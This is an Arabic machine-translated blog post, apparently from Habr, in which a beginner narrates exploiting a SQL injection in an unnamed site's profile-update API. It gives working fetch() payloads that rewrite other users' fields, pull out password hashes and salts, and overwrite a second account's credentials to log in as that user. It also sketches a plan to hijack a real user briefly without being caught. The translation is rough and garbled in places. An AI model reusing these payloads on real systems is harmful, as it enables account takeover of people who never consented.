مخترقتي الأولى: موقع يتيح لك ضبط أي كلمة مرور للمستخدم

لقد وجدت مؤخرًا ثغرة أمنية مثيرة للاهتمام تسمح لأي مستخدم بتعيين موقع معين لتعيين أي كلمة مرور. بارد ، هاه؟

كان مضحكا ، وأعتقد أنني يمكن أن أكتب مقالة مثيرة للاهتمام.

لقد تعثرت عليه.



ملاحظة: مؤلف المقال المترجم ليس متخصصًا في أمن المعلومات ، وهذه هي رحلته الأولى إلى عالم حقن SQL. يسأل عن "التنازل عن سذاجه".

تحذير: لن يكشف مؤلف المقال المترجم عن الموقع الذي به مشكلة عدم الحصانة هذه. ليس لأنه أبلغ المالك عن ذلك وهو ملزم بصمت ، ولكن لأنه يريد الحفاظ على الضعف لنفسه. إذا كنت تعرف هذا الموقع ، فيرجى إبقاء فمك مغلقًا (tsyts).

كما تعلمون ، هذه هي الطريقة التي تفتح أحيانًا موقعًا إلكترونيًا في مجموعة الأدوات لأحد المطورين ، وتفحص الشفرات المصغرة وطلبات الشبكة دون أي غرض. وفجأة لاحظت وجود خطأ هنا. ليس على الإطلاق مثل هذا. لذا فقد فعلت شيئًا مشابهًا لصفحة ملف تعريف المستخدم في أحد المواقع ولاحظت أنه عند تشغيل وإيقاف إشعار الاستلام ، ترسل الصفحة طلب شبكة:

/api/users?email=no 

وفكرت: أتساءل عما إذا كانوا قد سمحوا ببعض الغباء؟ ربما يجب أن أحاول حقن SQL؟

لقد بحثت في الشبكة عن "جداول بوبي الصغيرة xkcd" لتحديث ذاكرتي حول كيفية إجراء حقن SQL - لا أحبهم - وبدأت العمل.

في علامة تبويب شبكة Chrome ، قمت بنسخ الطلب (نسخ> نسخ كجلب) ولصق النتيجة في جزء بحيث يمكن تشغيل الطلب:

 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: 'email=no', // < -- The bit we're interested in method: 'POST', mode: 'cors', }); 

تم تخصيص الجزء المتبقي من المقالة للتعبير عن الخط الأساسي - إنه وسيلة لإرسال التعليمات إلى الخادم.

أولاً ، حاولت تغيير اسمي الأخير من خلال تحديد القيمة في عمود اسم العائلة ، مع التركيز ببساطة على اسمه:

 { // ... body: `email=no', lastName='testing` } 

لم يحدث شيء مثير للاهتمام. ثم فعلت الشيء نفسه مع last_name ، ثم جربت حظي surname - و عفوا! - استبدلت الصفحة اسمي الأخير بـ "اختبار".

لقد كانت مثيرة للغاية . لقد نظرت دائما حقن SQL قليلا من أسطورة الكتاب. حقيقة أنه لا يفتح العالم حقًا للرمز الذي يدخل إدخال المستخدم مباشرة في تعبيرات SQL.

قليلا من الفلسفة
في الآونة الأخيرة ، أتعامل مع العديد من القضايا في حياتي من وجهة نظر قانون Sturgeon: "90 ٪ من كل شيء في جميع أنحاء هو القمامة." أدركت أنك إذا افترضت أن كل شيء يتم بشكل صحيح ، فسوف تفقد الكثير من الفرص. أعتقد أن هذا الكفر الجديد في الإنسانية قد أعطاني ثقة كافية حتى لأتناول هذه التجربة.

بالنسبة لجميع المستفيدين ، سأشرح ما تعنيه النتيجة التي اكتشفتها.
أعتقد أن شيئًا مماثلاً يحدث على الخادم:

 const userId = someSessionStore.userId; const email = request.body.email; const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`; 

أنا متأكد من أن خادمهم مكتوب بلغة PHP ، لكنني لا أتحدث هذه اللغة ، لذلك سأكتب أمثلة في JavaScript. أيضا ، أنا لست جيدًا في استعلامات SQL. ليس لدي أي فكرة عما إذا كان الجدول يسمى user ، أو users ، أو user_table ، ولا يهم.

إذا كان معرف المستخدم الخاص بي هو 1234 ، وأرسل بريدًا إلكترونيًا = لا ، فسيظهر SQL كما يلي:

 UPDATE users SET email = 'no' WHERE id = '1234' 

وإذا استبدلت " no " بالسلسلة no', surname = 'testing ، فسيكون SQL صالحًا ، لكنه صعب:

 UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234' 

كما تتذكر ، أقوم بإرسال طلبات من مقتطف الشفرة في أدوات المطور ، بينما أكون في صفحة الملف الشخصي. من الآن فصاعدًا ، يمكنك أن تفكر في حقل اللقب في هذه الصفحة (عنصر HTML <input>) كنقطة انطلاق صغيرة يمكنك من خلالها كتابة المعلومات عن طريق تعيين قيمة حساب المستخدم الخاص بي في عمود surname في قاعدة البيانات.

ثم تساءلت عما إذا كان يمكنني نسخ البيانات من عمود آخر إلى عمود surname ؟

لم أفهم ما يجب فعله ، وماذا أفعل مع SQL ، وإلى جانب ذلك ، لم أكن أعرف أي قاعدة بيانات يتم استخدامها على الخادم. لذلك بعد كل خطوة ، قضيت 20 دقيقة في البحث على الشبكة ، ثم خدش رأسي لمدة 20 دقيقة أخرى ، لأنني أدخلت بانتظام علامات اقتباس في الاتجاه الخاطئ. من الغريب أنني لم أتلف قاعدة البيانات بأكملها.

تبين أن نسخ البيانات من عمود إلى آخر أصبح أكثر صعوبة بعض الشيء ، لأنني أردت إرسال مثل هذا الطلب (كان من المفترض أن يكون هناك عمود password ):

 UPDATE users SET email = 'no', surname = password WHERE id = '1234' 

لاحظ أنه لا توجد علامات اقتباس في الكود حول password . كما تتذكر ، يجب أن يبدو مصمم الاستعلام الفائق الحداثة مثل هذا ...

 const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`; 

... وهذا هو ، عندما تحاول تمرير no', surname = password لن تكون السلسلة الناتجة استعلام SQL صالح. بدلاً من ذلك ، كنت بحاجة إلى السلسلة المحقونة بالكامل لتصبح الجزء الثاني من الطلب ، ويجب تجاهل كل ما يأتي بعد ذلك. على وجه الخصوص ، كنت بحاجة لتمرير WHERE و ؛ في نهاية عبارة SQL ، وكذلك التعليق # بحيث يتم تجاهل المعلومات الموجودة على يمينها. نعم ، أشرح بشكل رهيب.

باختصار ، لقد أرسلت خطًا جديدًا:

 { // ... body: `email=no', surname = password WHERE username = 'me@email.com'; #` } 

وسيتم إرسال السطر التالي إلى قاعدة البيانات:

 UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; # WHERE id = '1234' 

يرجى ملاحظة أن قاعدة البيانات ستتجاهل WHERE id = '1234' ، نظرًا لأن هذا الجزء يأتي بعد التعليق رقم (يبدو أن حظر التعليق في استعلامات SQL يمثل طريقة جيدة للحماية من الشفرة البطيئة).

كنت آمل أن تظهر كلمة المرور P @ ssword1 في شكل نص في حقل الاسم الأخير ، لكن بدلاً من ذلك حصلت على 00fcdde26dd77af7858a52e3913e6f3330a32b31.

لقد أصابني هذا بخيبة أمل ، رغم أنه لم يفاجئني ، واستمرت في محاولة نسخ علامة تجزئة كلمة المرور الخاصة بي إلى عمود كلمة مرور مستخدم آخر.

اسمحوا لي أن أشرح للمبتدئين: عند إنشاء حساب في مكان ما وإرسال كلمة مرور جديدة P @ ssword1 ، يتحول إلى علامة تجزئة مثل 00fcdde26dd77af7858a52e3913e6f3330a32b31 ويتم تخزينها في قاعدة البيانات. بالنظر إلى هذا التجزئة ، لن يتمكن أي شخص من تحديد كلمة المرور الخاصة بك (أو هكذا يقولون).

في المرة التالية التي تقوم فيها بتسجيل الدخول وإدخال كلمة المرور Password @ 1 ، يقوم الخادم بتجزيئها مرة أخرى ومقارنتها بالتجزئة المخزنة في قاعدة البيانات. سيؤكد هذا الالتزام دون حفظ كلمة المرور الخاصة بك.

هذا يعني أنه إذا أردت إعطاء كلمة مرور لشخص ما P @ ssword1 ، فيجب تعيين عمود كلمة المرور لهذا المستخدم على 00fcdde26dd77af7858a52e3913e6f3330a32b31.

خفيفة الوزن.

لقد فتحت متصفحًا آخر ، وأنشأت مستخدمًا جديدًا ببريد مختلف ، وقبل كل شيء ، تأكدت مما إذا كان يمكنني تعيين البيانات له. تم تحديث خاصية body إليها:

 { // ... body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #` } 

لقد نفذت الكود ، قمت بتحديث صفحة هذا المستخدم ، و ، لقد نجحت! الآن لديه لقب "WOOT !!" (اسم جدتي قبل الزواج).

ثم حاولت تعيين كلمة مرور لهذا المستخدم:

  // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #` } 

وانت تعرف ماذا؟!؟!؟

لم ينجح الآن لم يكن لدي إمكانية الوصول إلى الحساب الثاني.
اتضح أنني ارتكبت خطأين ، استغرق حسابهما عدة ساعات. لقد فهم خبراء أمن المعلومات الذين يقرأون هذا المقال بالفعل ما الذي يتحدثون عنه ، وربما يضحكون على المغفل الذي يكتب "مآثره" المدرجة في الصفحة الأولى من القرصنة للأصغر.

Nuuuuu ، في النهاية قمت بالبحث في الشبكة عن "كلمة مرور التجزئة" ولاحظت أن العديد من التجزئة أطول من 00fcdde26dd77af7858a52e3913e6f3330a32b31. يبدو أنه يزرع في مكان ما.
لقد حاولت إدخال جزء من النص في حقل اللقب ، ووجدت حدًا أقصى قدره 40 حرفًا (من الجيد أن يقوموا بتعيين سمة maxlength لـ <input> لمطابقة قيد قاعدة البيانات).

الآن كنت مهتمًا فقط بأول 40 حرفًا من علامة التجزئة ، والتي قد تكون أطول من ذلك بكثير. لقد بحثت عن "sql substring" ، وسرعان ما أرسلت الطلب التالي إلى الخادم:

 { // ... body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #` } 

بدأت بـ 30 للتأكد من أن أول 10 أحرف تتداخل مع آخر 10 أحرف 00fcdde26dd77af7858a52e3913e6f3330a32b31. أو آخر 9. أو 11.

انحدار غنائي
أعتقد أنه عندما أموت وأذهب إلى الجحيم ، سوف يجبرونني على مشاهدة كل أخطائي إلى الأبد في حركة بطيئة ، واحدة تلو الأخرى. صورة مقربة تظهر وجهي بينما أدرك مرارًا وتكرارًا غباءي الذي لا نهاية له.

بالعودة إلى الحقائق: الأحرف المتداخلة ، والجمع بين السطور ، حصلت على عدد 64 حرفًا. مرة أخرى ، حاولت نسخها إلى المستخدم الثاني:

  { // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #` } 

وانت تعرف ماذا؟!؟!
حسنًا ، لقد خمنت ذلك ، لأنني ذكرت خطأين.

ما زلت لا أستطيع تسجيل الدخول إلى الحساب الثاني ، لكنني كنت قريبًا بالفعل من هذا (سيكون من الجيد بالنسبة لي أن أعرف ذلك في تلك اللحظة).

لقد بحثت عن "كلمة مرور قاعدة بيانات أفضل الممارسات" واكتشفت / تذكرت شيء مثل "الملح".

استخدام الملح يعني أنه إذا قمت بإنشاء علامة تجزئة لـ P @ ssword1 لمستخدم واحد ، فسوف تعطي كلمة المرور نفسها للمستخدم الآخر تجزئة مختلفة (يستخدم ملح آخر). بطبيعة الحال ، لن يعمل تجزئة كلمة مرور واحدة لاثنين من المستخدمين ، والأملاح مختلفة.

يبدو أن تكون ذكية ، ولكن في نفس الوقت غبي. في كل الأمثلة في الجدول ، كان هناك ببساطة عمود آخر يسمى الملح. ألا يعني ذلك أنني بحاجة إلى نسخ البيانات من عمودين ، وليس واحدًا؟ ألا يبدو القفل الثاني ، والذي يناسبه نفس المفتاح؟

لقد غيرت الاستعلام على أمل نسخ القيمة من عمود قد يسمى الملح ،
إلى عمود اللقب:

  { // ... body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #` } 

ظهرت مجموعة عشوائية من الشخصيات في حقل اللقب ، وهي علامة جيدة. للحصول على ما تبين أنه ملح ذو 64 حرفًا ، اعتدت استخدام SUBSTRING مرة أخرى.

كان كل شيء جاهزا. لدي كلمة مرور تجزئة والملح الذي تم استخدامه لإنشائه ، تحتاج فقط إلى نسخها إلى مستخدم آخر. وأرسلت آخر طلب للشبكة في ذلك المساء:

 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`, method: 'POST', mode: 'cors', }); 

لقد نجحت! الآن يمكنني تسجيل الدخول إلى الحساب الثاني بكلمة مرور من الحساب الأول.
ليس هذا الجنون؟

* * *

كان هناك الكثير من التجربة والخطأ ، لكن عندما أختار مستخدمًا حقيقيًا ، أحصل أولاً على الملح والتجزئة وأحتفظ به معي. ثم سأستبدل التجزئة المملحة بالملح الخاص بي ، كما هو موضح في المقال ، وسجّل الدخول واستبدل الملح والتجزئة على الفور بالقيم الأصلية. أحتاج فقط إلى تغيير كلمة مرور شخص آخر لمدة ثانية أثناء تسجيل الدخول ، لذلك من المؤكد أنهم لن يعثروا علي.

من الناحية النظرية ، بالطبع. لن أفعل ذلك أبداً.

* * *

قد تتساءل عما إذا كانت هذه قصة خيالية. لا تتكون. لقد غيرت بعض التفاصيل الصغيرة لحماية نفسي من الاتهامات ، لكن كل شيء آخر كان كما هو موصوف. وبطبيعة الحال ، في الواقع ، لقد أبلغت الضعف لمالكي الموقع.

لكن لا يسعني إلا أن أسأل نفسي إذا كان هذا مجرد حظ للمبتدئين. هذا هو حرفيًا الموقع الأول الذي جربت فيه حقن SQL ، وكان كل شيء كما لو كان مستعدًا لي ، كما لو أنني اجتازت اختبار القرصنة للأطفال.

الموقع الذي وصفته صغير ، ويحتوي على عدد قليل من المستخدمين (34718). هذه خدمة مدفوعة الأجر ، لذلك فبالنسبة للمتسللين ذوي الخبرة ، فإنها ليست ذات فائدة. ومع ذلك ، أدهشني أن هذا ممكن.

باختصار ، الآن أنا مدمن مخدرات على هذا الموضوع كله مع أمن المعلومات. بالنسبة لي ، تم الجمع بين نشاطين مفضلين لك: كتابة الكود والشغب. لذلك googling "رواتب أمن المعلومات أستراليا" ، وأعتقد أنني وجدت نفسي وظيفة جديدة.
شكرا للقراءة!

ملاحظة: تحاول ترجمة المقال الحفاظ على أسلوب المؤلف قدر الإمكان :)

Source: https://habr.com/ru/post/ar468695/


All Articles